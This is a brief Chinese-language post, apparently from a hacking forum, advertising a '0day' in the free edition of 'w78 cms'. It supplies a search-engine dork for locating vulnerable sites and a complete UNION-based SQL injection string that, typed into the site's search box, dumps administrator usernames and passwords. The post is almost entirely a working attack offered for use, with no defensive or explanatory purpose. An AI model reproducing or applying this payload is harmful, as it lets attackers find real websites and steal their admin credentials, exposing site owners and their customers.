w78 cms免费版的0day

关键字：inurl:ShopMore.asp

%' and 1=2 union select 1,admin,3,4,5,6,password,8,9,10 from admin where '%'='

丢到搜索栏那里 直接爆出来~ 源码就不分析了 搜索型的注入